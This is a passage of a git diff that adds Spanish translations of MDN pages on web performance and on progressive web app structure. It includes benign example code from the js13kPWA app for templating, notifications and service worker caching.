+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+  <ul>
+   <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>the Network panel</li>
+ <li>waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>
diff --git a/files/es/web/performance/mejorando_rendimienot_inicial/index.html b/files/es/web/performance/mejorando_rendimienot_inicial/index.html
new file mode 100644
index 0000000000..ed8bc6771d
--- /dev/null
+++ b/files/es/web/performance/mejorando_rendimienot_inicial/index.html
@@ -0,0 +1,95 @@
+---
+title: Mejorando el Rendimiento Inicial
+slug: Web/Performance/mejorando_rendimienot_inicial
+tags:
+  - Apps
+  - Performance
+  - Rendimiento
+translation_of: Web/Performance/Optimizing_startup_performance
+---
+<div class="summary">
+<p>Un aspecto que a menudo se pasa por alto en el desarrollo de software de aplicaciones, incluso entre aquellos enfocados en la optimización del rendimiento, es el rendimiento inicial. ¿Cuánto tiempo demora su aplicación en iniciarse? ¿Parece que se bloquea el dispositivo o el navegador del usuario no responde mientras se carga la aplicación? Eso hace que los usuarios se preocupen de que su aplicación haya fallado, o de que algo anda mal. Siempre es una buena idea invertir tiempo para asegurarse de que la aplicación se inicie de manera correcta. Este artículo ofrece consejos y sugerencias para ayudar a lograr ese objetivo, tanto al escribir una nueva aplicación como al migrar una aplicación de otra plataforma a la Web.</p>
+</div>
+
+<h2 id="Empezando_Bien">Empezando Bien</h2>
+
+<p>Independientemente de la plataforma, siempre es una buena idea comenzar lo <strong>más rápido </strong>posible. Ya que es un problema universal, no nos vamos a enfocar demasiado en esto. En su lugar, vamos a ver un problema más importante al crear aplicaciones web: comenzar de la manera más <strong>asíncrona </strong>posible. Eso significa no ejecutar todo el código inicial en un mismo controlador de eventos en el hilo principal de la aplicación.</p>
+
+<p>En su lugar, es preferible que el código de la aplicación cree un <a href="es/docs/Web/Guide/Performance/Usando_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web worker</a> que haga todo lo posible en un hilo de fondo (por ejemplo, para obtener y procesar datos). Luego, todo lo que debe ejecutarse en el hilo principal (como responder a los eventos del usuario o desplegar la interfaz gráfica) debe dividirse en tareas pequeñas para que el ciclo de eventos continúe mientras la aplicación inicia. Esto evitará que la aplicación, el navegador y / o el dispositivo parezcan haber fallado.</p>
+
+<p>¿Por qué es importante ser asíncrono? <span title="">Aparte de las razones sugeridas anteriormente, considere el impacto de una página o interfaz de usuario que no responde.</span> <span title="">El usuario no puede cerrar la aplicación si la lanzó por error.</span> <span title="">Si la aplicación se ejecuta en un navegador, es posible que el usuario obtenga una notificación diciendo "la aplicación no responde".</span> <span title="">Presentar algún tipo de interfaz, como una barra de progreso, para que el usuario sepa cuánto tiempo más tendrá que esperar mientras se inicia la aplicación es mejor que una interfaz incapaz de responder a las acciones del usuario.</span></p>
+
+<h2 id="Trabajar_con_Rendimiento_en_Mente">Trabajar con Rendimiento en Mente</h2>
+
+<p>Si está comenzando un proyecto de cero, generalmente es más sencillo escribir todo de la manera correcta, hacer que el código sea escrito para trabajar de manera asíncrona en mente. Hacer los cálculos iniciales en subprocesos en segundo plano cuando sea posible, crear tareas cortas para acelerar el tiempo de ejecución de los eventos de subprocesos importantes. Empezar a pintar en pantalla la interfaz gráfica para que el usuario sepa qué algo pasando y cuánto tiempo estará esperando. En teoría, de todos modos, debería ser bastante fácil diseñar una aplicación nueva para que inicie bien.</p>
+
+<p>Por otro lado,  migrar una aplicación existente a la Web puede ser una tarea más complicada. Por ejemplo, una aplicación de escritorio no necesita escribirse de forma asíncrona porque generalmente el sistema operativo se encarga de eso, o aplicación que se está ejecutando actualmente es lo único que importa, dependiendo del entorno operativo. La aplicación original puede tener un ciclo principal que puede modificarse para operar de forma asíncrona (intentando ejecutar cada iteración del ciclo principal por separado); el inicio es a menudo un procedimiento monolítico continuo que puede ir actualizando de manera periódica la interfaz gráfica para indicar progreso.</p>
+
+<p>Si bien se puede usar los <a href="es/docs/Web/Guide/Performance/Usando_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers </a>para ejecutar fragmentos de forma asíncrona códigos <a href="/es/docs/JavaScript">JavaScript</a> muy grandes y/o lentos, hay una gran advertencia: Web workers no tienen accesso a <a href="/es/docs/Web/API/WebGL_API" title="/en-US/docs/WebGL">WebGL</a> o audio, y no pueden enviar mensajes síncronos al hilo principal, por lo que no se puede hacer un proxy de esos APIs al hilo principal. <span title="">Todo esto significa que, a menos que se pueda extraer fácilmente los trozos de "cálculo puro" del proceso de inicio en Web workers, se va terminar teniendo que ejecutar la mayor parte o la totalidad del código de inicio en el hilo principal.</span></p>
+
+<p>Sin embargo, incluso código como ese puede ser hecho asíncrono, con un poco de trabajo.</p>
+
+<h2 id="Trabajando_de_Manera_Asíncrona">Trabajando de Manera Asíncrona</h2>
+
+<p>Algunas sugerencias que se pueden aplicar para hacer que el proceso de inicio de la aplicación se lo más asíncrona posible, sin importar si la aplicación es nueva o si se está migrando una que ya existe, son las siguientes:</p>
+
+<ul>
+ <li>Usar los atributos {{ htmlattrxref("defer") }} o {{ htmlattrxref("async") }} en los tag de script que la aplicación Web necesita. Esto permite que el interpretador de HTML no se vea forzado a esperar a que el código se haya descargado y ejecutado para continuar.</li>
+ <li>Si se necesita descodificar archivos de recurso (por ejemplo, descodificar archivos JPEG files y convertirlos en datos de textura para ser usados luegos en WebGL), este es un buen caso de uso para Web workers.</li>
+ <li>When dealing with data supported by the browser (por ejemplo, descodificar images), es mejor utilizar los descodificadores includos en el navegador o el dispositivo en lugar de utilizar un propio migrado del código existente. El descodificador incluído en el navegador es muy probablemente más rápido, y reduce la cantidad de código que se va a necesitar para iniciar la aplicación. Además, es posible que el navegador automáticamente pueda ejecutar en paralelo estos descodificadores.</li>
+ <li>Cualquier procesamiento de información que puede ejecutarse en paralelo debe ser ejecutada en paralelo. No trabaje con porciones de información de manera sequencial; es mejor ejecutarlas en paralelo, siempre que sea posible.</li>
+ <li>No incluya archivos de JavaScript o CSS que no son necesarios para la ruta crítica de iniciar la aplicación web. Cargue los recursos adicionales cuando sean necesarios.</li>
+ <li>Reduzca el tamaño de sus archivos JavaScript. Intente enviar la versión minificada de sus archivos a los navegadores y utilice mecanismos de compresión de recursos como Gzip o Brotli.</li>
+ <li>Utilice directivas (como preload, prefetch, preconnect) para ayudar al navegador a optimizar la carga de los recursos.</li>
+</ul>
+
+<p>A mayor trabajo que se pueda realizar de manera asíncrona, la aplicación va a obtener mayor ventaja de procesadores multinúcleos.</p>
+
+<h3 id="Problemas_de_Migración">Problemas de Migración</h3>
+
+<p> </p>
+
+<p>Una vez que se realiza la carga inicial y el código principal de la aplicación comienza a ejecutarse, es posible que su aplicación esté programada para trabajar en un solo hilo, especialmente cuando es una migración. Lo más importante que se puede hacer para tratar de ayudar con el proceso de inicio del código principal es refactorizar el código en partes pequeñas que se pueden ejecutrar en trozos intercalados en múltiples llamadas del ciclo principal de su aplicación, para que el hilo principal pueda manejar las interacciones del usuario y similares.</p>
+
+<p>Emscripten proporciona una API para ayudar con esta refactorización; por ejemplo, puede usar emscripten_push_main_loop_blocker () para establecer una función que se ejecutará antes de que se permita que el hilo principal continúe. Al establecer una cola de funciones a ser llamadas en secuencia, puede administrar más fácilmente los bits de código en ejecución sin bloquear el hilo principal.</p>
+
+<p>Eso deja, sin embargo, el problema de tener que refactorizar su código existente para que realmente funcione de esa manera. Eso puede llevar algún tiempo.</p>
+
+<p> </p>
+
+<h3 id="¿Que_tan_asíncrono_debo_ser">¿Que tan asíncrono debo ser?</h3>
+
+<p>Vale la pena tener en cuenta que la mayoría de los navegadores suelen comenzar a quejarse de que un script está bloqueando el hilo principal aproximadamente a los 10 segundos. Idealmente, la aplicación no debería bloquear esa cantidad de tiempo, pero mientras se mantenga debajo de eso, debería estar bien. Sin embargo, tenga en cuenta que si alguien tiene una computadora más antigua y más lenta que la suya, ¡puede experimentar retrasos más prolongados que usted!</p>
+
+<h2 id="Otras_Sugerencias">Otras Sugerencias</h2>
+
+<p>Hay otras cosas además de ir asíncrono, que pueden ayudarlo a mejorar el tiempo de inicio de su aplicación. Estas son algunos de ellos:</p>
+
+<dl>
+ <dt>Tiempo de Descarga</dt>
+ <dd>Tenga en cuenta cuánto tiempo le llevará al usuario descargar los datos de su juego. Si su juego es realmente grande, muy popular o si tiene que volver a descargar contenido con frecuencia, debe intentar tener un servidor de alojamiento lo más rápido posible. También debe considerar utilizar mecanismos de compresión como Gzip o Brotli para que sean lo más pequeños posible.</dd>
+ <dt>Uso del GPU</dt>
+ <dd>La compilación de sombras y la carga de texturas en el GPU pueden llevar tiempo, especialmente para los juegos realmente complejos. Si bien esto también ocurre con los juegos nativos (que no son de la Web), todavía puede ser bastante molesto. Evita hacer esto sin mantener informado al usuario de que el juego, de hecho, todavía se está iniciando.</dd>
+ <dt>Tamaño de los Datos</dt>
+ <dd>Haz tu mejor esfuerzo para optimizar el tamaño de tus datos de juego; los archivos de menor nivel se descargarán y procesarán más rápido que los más grandes.</dd>
+ <dt>Factores Subjetivos</dt>
+ <dd>Cualquier cosa que pueda hacer para ayudar a mantener al usuario involucrado durante el proceso de inicio ayudará a que el tiempo parezca más rápido. Para los juegos, considere la posibilidad de reproducir música de fondo o mostrar una bonita pantalla de bienvenida. Entre cada cálculo, actualice su indicador de progreso, realice cambios en la pantalla o cualquier otra cosa que pueda hacer para ayudar al usuario a sentir que su aplicación está haciendo algo en lugar de quedarse sentado tranquilamente.</dd>
+</dl>
+
+<h2 id="También_Podría_Interesarte">También Podría Interesarte</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/Progressive_web_apps" title="/en-US/docs/Apps">Apps</a></li>
+ <li><a href="/es/docs/Games" title="/en-US/docs/Games">Games</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Información del Documento Original:</h2>
+
+<ul>
+ <li>Autor(s): Alon Zakai</li>
+ <li>Fuente: <a href="http://mozakai.blogspot.com/2012/07/bananabread-or-any-compiled-codebase.html" title="http://mozakai.blogspot.com/2012/07/bananabread-or-any-compiled-codebase.html">BananaBread (or any compiled codebase) Startup Experience</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/web/progressive_web_apps/app_structure/index.html b/files/es/web/progressive_web_apps/app_structure/index.html
new file mode 100644
index 0000000000..fb6e6b812c
--- /dev/null
+++ b/files/es/web/progressive_web_apps/app_structure/index.html
@@ -0,0 +1,286 @@
+---
+title: Estructura de una aplicación web progresiva
+slug: Web/Progressive_web_apps/App_structure
+tags:
+  - Estructura
+  - Intérprete de la aplicación
+  - PWAs
+  - Servicio workers
+  - Streams
+  - Transmisiones
+  - aplicaciones web progresivas
+  - js13kGames
+  - progresiva
+translation_of: Web/Progressive_web_apps/App_structure
+---
+<div>{{PreviousMenuNext("Web/Progressive_web_apps/Introduction", "Web/Progressive_web_apps/Offline_Service_workers", "Web/Progressive_web_apps")}}</div>
+
+<p class="summary">Ahora que conoces la teoría detrás de las PWAs, veamos la estructura recomendada de una aplicación real. Comenzaremos analizando la aplicación <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a>, veamos por qué está construida de esa manera y qué beneficios aporta.</p>
+
+<h2 id="Arquitectura_de_una_aplicación">Arquitectura de una aplicación</h2>
+
+<p>Hay dos principales y diferentes enfoques para representar un sitio web — en el servidor o en el cliente. Ambos tienen sus ventajas y desventajas, y puedes combinar los dos enfoques hasta cierto punto.</p>
+
+<ul>
+ <li>La representación del lado del servidor (SSR) significa que un sitio web se representa en el servidor, por lo que ofrece una primera carga más rápida, pero navegar entre páginas requiere descargar contenido HTML nuevo. Funciona muy bien en todos los navegadores, pero adolece en términos de tiempo de navegación entre páginas y, por lo tanto, rendimiento percibido general — cargar una página requiere un nuevo viaje de ida y vuelta al servidor.</li>
+ <li>La representación de lado del cliente (CSR) permite que el sitio web se actualice en el navegador casi instantáneamente cuando se navega a diferentes páginas, pero requiere más de un golpe de descarga inicial y una representación adicional en el cliente al principio. El sitio web es más lento en una visita inicial, pero puede ser más rápido para navegar.</li>
+</ul>
+
+<p>La combinación de SSR con CSR puede generar los mejores resultados: puedes representar un sitio web en el servidor, almacenar en caché su contenido y luego actualizar la representación en el lado del cliente cuando sea necesario. La carga de la primera página es rápida debido al SSR y la navegación entre páginas es fluida porque el cliente puede volver a renderizar la página solo con las partes que han cambiado.</p>
+
+<p>Las PWAs se pueden crear utilizando cualquier enfoque que desees, pero algunas funcionarán mejor que otras. El enfoque más popular es el concepto de "intérprete de la aplicación", que combina SSR y CSR exactamente de la manera descrita anteriormente, y además sigue la metodología "fuera de línea primero" que explicaremos en detalle en los próximos artículos y utilizaremos en nuestra aplicación de ejemplo. También hay un nuevo enfoque que involucra la {{web.link("/es/docs/Web/API/Streams_API", "API Streams")}}, que mencionaremos brevemente.</p>
+
+<h2 id="Intérprete_de_la_aplicación">Intérprete de la aplicación</h2>
+
+<p>El concepto de intérprete de la aplicación se ocupa de cargar una interfaz de usuario mínima lo antes posible y luego almacenarla en caché para que esté disponible sin conexión para visitas posteriores antes de cargar todo el contenido de la aplicación. De esa manera, la próxima vez que alguien visite la aplicación desde el dispositivo, la interfaz de usuario se cargará desde la caché de inmediato y se solicitará cualquier contenido nuevo del servidor (si aún no está disponible en la caché).</p>
+
+<p>Esta estructura es rápida y también se siente rápida, ya que el usuario ve "algo" instantáneamente, en lugar de una ruleta de carga o una página en blanco. También permite que el sitio web sea accesible sin conexión si la conexión de red no está disponible.</p>
+
+<p>Podemos controlar lo que se solicita del servidor y lo que se recupera de la caché con un {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio worker")}}, que se explicará en detalle en el próximo artículo, por ahora centrémonos en la estructura en sí misma.</p>
+
+<h3 id="¿Por_qué_debería_usarla">¿Por qué debería usarla?</h3>
+
+<p>Esta arquitectura permite que un sitio web se beneficie al máximo de todas las funciones de PWA — almacena en caché el intérprete de la aplicación y administra el contenido dinámico de una manera que mejora enormemente el rendimiento. Además del intérprete básico, puedes agregar otras funciones como {{web.link("/es/docs/Web/Progressive_web_apps/Add_to_home_screen", "agregar a la pantalla de inicio")}} o {{web.link("/es/docs/Web/API/Push_API", "notificaciones push")}}, con la certeza de que la aplicación seguirá funcionando correctamente si no son compatibles con el navegador del usuario — esta es la belleza de la mejora progresiva.</p>
+
+<p>El sitio web se siente como una aplicación nativa con interacción instantánea y un rendimiento sólido, al tiempo que conserva todos los beneficios de la web.</p>
+
+<h3 id="Ser_enlazable_progresiva_y_adaptable_por_diseño">Ser enlazable, progresiva y adaptable por diseño</h3>
+
+<p>Es importante recordar las ventajas de PWA y tenerlas en cuenta al diseñar la aplicación. El enfoque del intérprete de la aplicación permite que los sitios web sean:</p>
+
+<ul>
+ <li>Enlazable: aunque se comporta como una aplicación nativa, sigue siendo un sitio web; puedes hacer clic en los enlaces dentro de la página y enviar una URL a alguien si deseas compartirla.</li>
+ <li>Progresiva: comienza con el "buen, antiguo sitio web básico" y agrega progresivamente nuevas funciones mientras recuerdas detectar si están disponibles en el navegador y manejas con elegancia cualquier error que surja si no hay soporte disponible. Por ejemplo, un modo fuera de línea con la ayuda del servicio <em>workers</em> es solo un rasgo adicional que mejora la experiencia del sitio web, pero aún se puede usar perfectamente sin él.</li>
+ <li>Adaptable: El diseño web adaptable también se aplica a las aplicaciones web progresivas, ya que ambas son principalmente para dispositivos móviles. Hay una gran variedad de dispositivos con navegadores — es importante preparar tu sitio web para que funcione en diferentes tamaños de pantalla, ventanas gráficas o densidades de píxeles, utilizando tecnologías como {{web.link("/es/docs/Mozilla/Mobile/Viewport_meta_tag", "metaetiqueta de la ventana gráfica")}}, {{web.link("/es/docs/Web/CSS/Media_Queries/Using_media_queries", "consultas de medios CSS")}}, {{web.link("/es/docs/Web/CSS/CSS_Flexible_Box_Layout", "Flexbox")}} y {{web.link("/es/docs/Web/CSS/CSS_Grid_Layout", "Rejilla CSS")}}.</li>
+</ul>
+
+<h2 id="Concepto_diferente_streams_o_transmisiones">Concepto diferente: <em>streams</em> o transmisiones</h2>
+
+<p>Se puede lograr un enfoque completamente diferente para la representación del lado del servidor o del cliente con la {{web.link("/es/docs/Web/API/Streams_API", "API Streams")}}. Con un poco de ayuda del servicio <em>workers</em>, las transmisiones pueden mejorar en gran medida la forma en que analizamos el contenido.</p>
+
+<p>El modelo de intérprete de la aplicación requiere que todos los recursos estén disponibles antes de que el sitio web pueda comenzar a renderizarse. Es diferente con HTML, ya que el navegador ya está transmitiendo los datos y puede ver cuándo se cargan y procesan los elementos en el sitio web. Sin embargo, para que JavaScript esté "operativo", se debe descargar en su totalidad.</p>
+
+<p>La API de <em>Streams</em> permite a los desarrolladores tener acceso directo a la transmisión de datos desde el servidor — si deseas realizar una operación en los datos (por ejemplo, agregar un filtro a un video), ya no necesitas esperar a que se complete la descarga y convertirla en un blob (o lo que sea) — puedes comenzar de inmediato. Proporciona un control detallado: la transmisión se puede iniciar, encadenar con otra transmisión, cancelar, verificar errores y más.</p>
+
+<p>En teoría, la transmisión es un mejor modelo, pero también es más complejo, y en el momento de redactar este artículo (marzo de 2018), la API de <em>Streams</em> todavía está en proceso y aún no está completamente disponible en ninguno de los principales navegadores. Cuando esté disponible, será la forma más rápida de servir el contenido — los beneficios serán enormes en términos de rendimiento.</p>
+
+<p>Para obtener ejemplos trabajando y más información, consulta la {{web.link("/es/docs/Web/API/Streams_API", "documentación de la API de Streams")}}.</p>
+
+<h2 id="Estructura_de_nuestra_aplicación_de_ejemplo">Estructura de nuestra aplicación de ejemplo</h2>
+
+<p>La estructura del sitio web <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> es bastante simple: consta de un solo archivo HTML (<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/index.html">index.html</a>) con estilo CSS básico (<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/style.css">style.css</a>) y algunas imágenes, scripts y tipos de letra. La estructura de la carpeta se ve así:</p>
+
+<p><img alt="Estructura del directorio de js13kPWA." src="https://mdn.mozillademos.org/files/15925/js13kpwa-directory.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 320px;"></p>
+
+<h3 id="El_HTML">El HTML</h3>
+
+<p>Desde el punto de vista HTML, el intérprete de la aplicación es todo lo que está fuera de la sección de contenido:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+	&lt;meta charset="utf-8"&gt;
+	&lt;title&gt;js13kGames — Entradas del marco A&lt;/title&gt;
+	&lt;meta name="description" content="Una lista de las entradas del marco A enviadas a la competencia js13kGames 2017, que se utiliza como ejemplo para los artículos de MDN sobre Aplicaciones Web Progresivas"&gt;
+	&lt;meta name="author" content="end3r"&gt;
+	&lt;meta name="theme-color" content="#B12A34"&gt;
+	&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+	&lt;meta property="og:image" content="icons/icon-512.png"&gt;
+	&lt;link rel="shortcut icon" href="favicon.ico"&gt;
+	&lt;link rel="stylesheet" href="style.css"&gt;
+	&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;
+	&lt;script src="data/games.js" defer&gt;&lt;/script&gt;
+	&lt;script src="app.js" defer&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;header&gt;
+	&lt;p&gt;&lt;a class="logo" href="http://js13kgames.com"&gt;&lt;img src="img/js13kgames.png" alt="js13kGames"&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;/header&gt;
+&lt;main&gt;
+	&lt;h1&gt;js13kGames — Entradas del marco A&lt;/h1&gt;
+	&lt;p class="description"&gt;Lista de juegos enviada a &lt;a href="http://js13kgames.com/aframe"&gt;categoría Marco A&lt;/a&gt; en la competencia de &lt;a href="http://2017.js13kgames.com"&gt;js13kGames 2017&lt;/a&gt;. Puedes &lt;a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"&gt;bifurcar js13kPWA en GitHub&lt;/a&gt; para revisar su código fuente.&lt;/p&gt;
+	&lt;button id="notifications"&gt;Solicitar notificaciones ficticias&lt;/button&gt;
+	&lt;section id="content"&gt;
+		// Contenido insertado aquí
+	&lt;/section&gt;
+&lt;/main&gt;
+&lt;footer&gt;
+	&lt;p&gt;© js13kGames 2012-2020, creado y mantenido por &lt;a href="http://end3r.com"&gt;Andrzej Mazur&lt;/a&gt; de &lt;a href="http://enclavegames.com"&gt;Enclave Games&lt;/a&gt;.&lt;/p&gt;
+&lt;/footer&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La sección {{HTMLElement("head")}} contiene información básica como título, descripción y enlaces a CSS, manifiesto web, archivo JS de contenido de juegos y app.js; ahí es donde se inicia nuestra aplicación JavaScript. El {{HTMLElement("body")}} se divide en {{HTMLElement("header")}} (que contiene la imagen vinculada), {{HTMLElement("main")}} de la página (con título, descripción y lugar para el contenido) y {{HTMLElement("footer")}} (derechos de autor y enlaces).</p>
+
+<p>El único trabajo de la aplicación es enumerar todas las entradas del Marco A de la competencia js13kGames 2017. Como puedes ver, es un sitio web muy común de una página — el objetivo es tener algo simple para que podamos centrarnos en la implementación de las características reales de PWA.</p>
+
+<h3 id="El_CSS">El CSS</h3>
+
+<p>El CSS también es lo más sencillo posible: usa {{CSSxRef("@font-face")}} para cargar y usar un tipo de letra personalizado, y aplica un estilo simple de los elementos HTML. El enfoque general es que el diseño se vea bien tanto en dispositivos móviles (con un enfoque de diseño web adaptable) como en dispositivos de escritorio.</p>
+
+<h3 id="El_main_de_la_aplicación_JavaScript">El <code>main</code> de la aplicación JavaScript</h3>
+
+<p>El archivo <code>app.js</code> hace algunas cosas que veremos de cerca en los próximos artículos. En primer lugar, genera el contenido en base a esta plantilla:</p>
+
+<pre class="brush: js notranslate">var template = "&lt;article&gt;\n\
+    &lt;img src='data/img/SLUG.jpg' alt='NAME'&gt;\n\
+    &lt;h3&gt;#POS. NAME&lt;/h3&gt;\n\
+    &lt;ul&gt;\n\
+    &lt;li&gt;&lt;span&gt;Author:&lt;/span&gt; &lt;strong&gt;AUTHOR&lt;/strong&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;Twitter:&lt;/span&gt; &lt;a href='https://twitter.com/TWITTER'&gt;@TWITTER&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;Website:&lt;/span&gt; &lt;a href='http://WEBSITE/'&gt;WEBSITE&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;GitHub:&lt;/span&gt; &lt;a href='https://GITHUB'&gt;GITHUB&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;More:&lt;/span&gt; &lt;a href='http://js13kgames.com/entries/SLUG'&gt;js13kgames.com/entries/SLUG&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;/ul&gt;\n\
+&lt;/article&gt;";
+var content = '';
+for(var i=0; i&lt;games.length; i++) {
+    var entry = template.replace(/POS/g,(i+1))
+        .replace(/SLUG/g,games[i].slug)
+        .replace(/NAME/g,games[i].name)
+        .replace(/AUTHOR/g,games[i].author)
+        .replace(/TWITTER/g,games[i].twitter)
+        .replace(/WEBSITE/g,games[i].website)
+        .replace(/GITHUB/g,games[i].github);
+    entry = entry.replace('&lt;a href=\'http:///\'&gt;&lt;/a&gt;','-');
+    content += entry;
+};
+document.getElementById('content').innerHTML = content;</pre>
+
+<p>A continuación, registra un servicio <em>works</em>:</p>
+
+<pre class="brush: js notranslate">if('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>El siguiente bloque de código solicita permiso para recibir notificaciones cuando se hace clic en un botón:</p>
+
+<pre class="brush: js notranslate">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});</pre>
+
+<p>El último bloque crea notificaciones que muestran un elemento seleccionado al azar de la lista de juegos:</p>
+
+<pre class="brush: js notranslate">function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Creado por '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}</pre>
+
+<h3 id="El_servicio_worker">El servicio <em>worker</em></h3>
+
+<p>El último archivo que veremos rápidamente es el servicio <em>worker</em>: <code>sw.js</code> — primero importa datos del archivo <code>games.js</code>:</p>
+
+<pre class="brush: js notranslate">self.importScripts('data/games.js');</pre>
+
+<p>A continuación, crea una lista de todos los archivos que se almacenarán en caché, tanto del intérprete de la aplicación como del contenido:</p>
+
+<pre class="brush: js notranslate">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+  '/pwa-examples/js13kpwa/',
+  '/pwa-examples/js13kpwa/index.html',
+  '/pwa-examples/js13kpwa/app.js',
+  '/pwa-examples/js13kpwa/style.css',
+  '/pwa-examples/js13kpwa/fonts/graduate.eot',
+  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+  '/pwa-examples/js13kpwa/fonts/graduate.woff',
+  '/pwa-examples/js13kpwa/favicon.ico',
+  '/pwa-examples/js13kpwa/img/js13kgames.png',
+  '/pwa-examples/js13kpwa/img/bg.png',
+  '/pwa-examples/js13kpwa/icons/icon-32.png',
+  '/pwa-examples/js13kpwa/icons/icon-64.png',
+  '/pwa-examples/js13kpwa/icons/icon-96.png',
+  '/pwa-examples/js13kpwa/icons/icon-128.png',
+  '/pwa-examples/js13kpwa/icons/icon-168.png',
+  '/pwa-examples/js13kpwa/icons/icon-192.png',
+  '/pwa-examples/js13kpwa/icons/icon-256.png',
+  '/pwa-examples/js13kpwa/icons/icon-512.png'
+];
+var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>El siguiente bloque instala el servicio <em>worker</em>, que luego almacena en caché todos los archivos contenidos en la lista anterior:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', function(e) {
+  console.log('[Service Worker] Install');
+  e.waitUntil(
+    caches.open(cacheName).then(function(cache) {
+      console.log('[Servicio Worker] Almacena todo en caché: contenido e intérprete de la aplicación');
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
